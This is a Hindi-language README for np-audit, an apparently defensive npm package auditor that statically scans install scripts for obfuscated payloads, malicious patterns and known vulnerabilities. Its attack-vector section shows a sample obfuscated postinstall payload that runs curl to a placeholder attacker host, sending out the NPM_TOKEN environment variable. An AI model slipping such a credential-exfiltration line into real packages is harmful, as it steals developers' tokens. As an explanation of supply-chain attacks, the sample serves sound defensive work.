np-audit — npm पैकेज ऑडिटर

npm पैकेजों के लिए स्थैतिक सुरक्षा विश्लेषण — ऑबफस्केटेड लाइफ़साइकल स्क्रिप्ट्स, ज्ञात भेद्यताओं और दुर्भावनापूर्ण पैटर्न का पता उनके चलने से पहले लगाता है। npm install और npm ci के लिए ड्रॉप-इन रिप्लेसमेंट।

शून्य निर्भरताएँ। केवल शुद्ध Node.js बिल्ट-इन। नेटवर्क पर < 100 kB।

npx np-audit scan express

npm install -g np-audit
npa scan                     # scan all deps
npa install                  # audit then install
alias npm='npa'              # use as drop-in replacement

मार्शलर

पहचान मॉड्यूलर मार्शलरों में विभाजित है — प्रत्येक एक एकल हमले के संकेत का पता लगाता है:

स्कोर गंभीरता के अनुसार बढ़ते हैं — ऑबफस्केशन संकेतकों की अधिक संख्या उच्च स्कोर उत्पन्न करती है। अंतिम निर्णय सभी मार्शलरों में सर्वोच्च व्यक्तिगत स्कोर पर आधारित होता है।

कस्टम मार्शलर लिखने के तरीके के लिए CONTRIBUTING.md देखें।

भेद्यता स्कैनिंग (CVE)

प्रत्येक स्कैन किया गया पैकेज कोड विश्लेषण के साथ-साथ ज्ञात भेद्यता डेटाबेस के विरुद्ध जाँचा जाता है।

डिफ़ॉल्ट: OSV.dev (कोई सेटअप आवश्यक नहीं)

बिना किसी सेटअप के काम करता है — ज्ञात भेद्यताओं और दुर्भावनापूर्ण पैकेज सलाहों के लिए मुफ्त OSV.dev API से पूछताछ करता है।

वैकल्पिक: Snyk API (समृद्ध डेटा)

# Environment variable
export SNYK_API_TOKEN=your-token-here

# Or via Snyk CLI
snyk auth

टोकन समाधान क्रम: SNYK_API_TOKEN → SNYK_TOKEN → ~/.config/configstore/snyk.json

गैर-दुर्भावनापूर्ण CVE चेतावनी उत्पन्न करते हैं लेकिन इंस्टॉलेशन को कभी अवरुद्ध नहीं करते। केवल पुष्टि किए गए दुर्भावनापूर्ण पैकेज DANGER ट्रिगर करते हैं।

उपयोग

कमांड्स

कोई भी अपरिचित कमांड npm को अग्रेषित किया जाता है (जैसे npa run test, npa publish)।

फ़्लैग्स

इंटरैक्टिव --review मोड

npa install --review

  npa --review mode
  Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit

  Found 3 package(s) with install scripts:

     [✓ allow] [email protected]       postinstall: post-install.js     OK
   ▶ [✗ deny ] [email protected]       postinstall: install.js          DANGER (score: 9)
     [✓ allow] @scope/[email protected]     postinstall: install.js          WARN (score: 5)

  2 allowed  1 denied

कॉन्फ़िगरेशन

कॉन्फ़िग ~/.npmauditor.json में संग्रहीत होता है (वैश्विक) और इसे प्रति-प्रोजेक्ट .npmauditor.json के साथ ओवरराइड किया जा सकता है।

npa config get                              # Show current config
npa config set blockScore 6                 # Block at score 6+
npa config set skipPackages '["esbuild"]'   # Trust specific packages
npa config set skipScopes '["@types"]'      # Trust entire scopes

सभी कॉन्फ़िग कुंजियाँ

मार्शलर अक्षम करना

आप disabledMarshallers में उनके नाम जोड़कर विशिष्ट पहचान जाँचों को अक्षम कर सकते हैं:

npa config set disabledMarshallers '["process-env", "network-call"]'

सभी उपलब्ध मार्शलर नाम और उनकी वर्तमान स्थिति देखने के लिए:

npa config marshallers

यह तब उपयोगी होता है जब कोई मार्शलर आपके वर्कफ़्लो के लिए गलत सकारात्मक परिणाम उत्पन्न करता है। अक्षम मार्शलर स्थैतिक कोड विश्लेषण और पैकेज-स्तरीय जाँचों दोनों के दौरान पूरी तरह छोड़ दिए जाते हैं।

शेल उपनाम

npa को पारदर्शी npm रिप्लेसमेंट के रूप में उपयोग करें:

npa alias --install     # adds: alias npm='npa'
source ~/.zshrc         # reload shell

अब npm install, npm ci स्वचालित रूप से स्कैन होते हैं। अन्य सभी npm कमांड (npm run, npm test, npm publish) अपरिवर्तित पास होते हैं।

npa alias --uninstall   # remove the alias

यह कैसे काम करता है

1. पार्स करें package-lock.json (v1/v2/v3) या package.json से हल करें
2. फ़ेच करें रजिस्ट्री से टारबॉल (या node_modules से पढ़ें)
3. पार्स करें लाइफ़साइकल कमांड — &&/||/;/| को विभाजित करता है, node -e, sh -c, शेल स्क्रिप्ट को संभालता है
4. ट्रैवर्स करें प्रत्येक प्रवेश से require()/import ग्राफ़ (चक्र पहचान, 50 फ़ाइल / 5 MB कैप)
5. विश्लेषण करें सभी मार्शलरों के साथ — स्थैतिक कोड जाँच + CVE डेटाबेस क्वेरी
6. स्कोर करें और वर्गीकृत करें: DANGER / WARN / OK
7. रिपोर्ट करें या इंस्टॉल के साथ आगे बढ़ें

हमला वेक्टर

सप्लाई चेन हमले npm लाइफ़साइकल स्क्रिप्ट का दुरुपयोग करते हैं। जब आप npm install चलाते हैं, तो कोई भी preinstall/install/postinstall स्क्रिप्ट स्वचालित रूप से चलती है। हमलावर पेलोड को ऑबफस्केशन के पीछे छिपाते हैं:

var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');

वास्तविक दुनिया की घटनाएँ:

• event-stream (2018) — Bitcoin वॉलेट क्रेडेंशियल चोरी
• ua-parser-js (2021) — क्रिप्टो माइनर + सूचना-चोर
• node-ipc (2022) — भू-लक्षित वाइपर मैलवेयर
• colors / faker (2022) — मेंटेनर तोड़फोड़
• SAP CAP / cds-dbs (2025) — एंटरप्राइज़ डेवलपर्स को लक्षित करने वाला समझौता किया गया पैकेज

npa स्क्रिप्ट को कभी निष्पादित नहीं करता। यह उन्हें डाउनलोड करके स्थैतिक रूप से विश्लेषण करता है।

एग्ज़िट कोड

लाइसेंस

MIT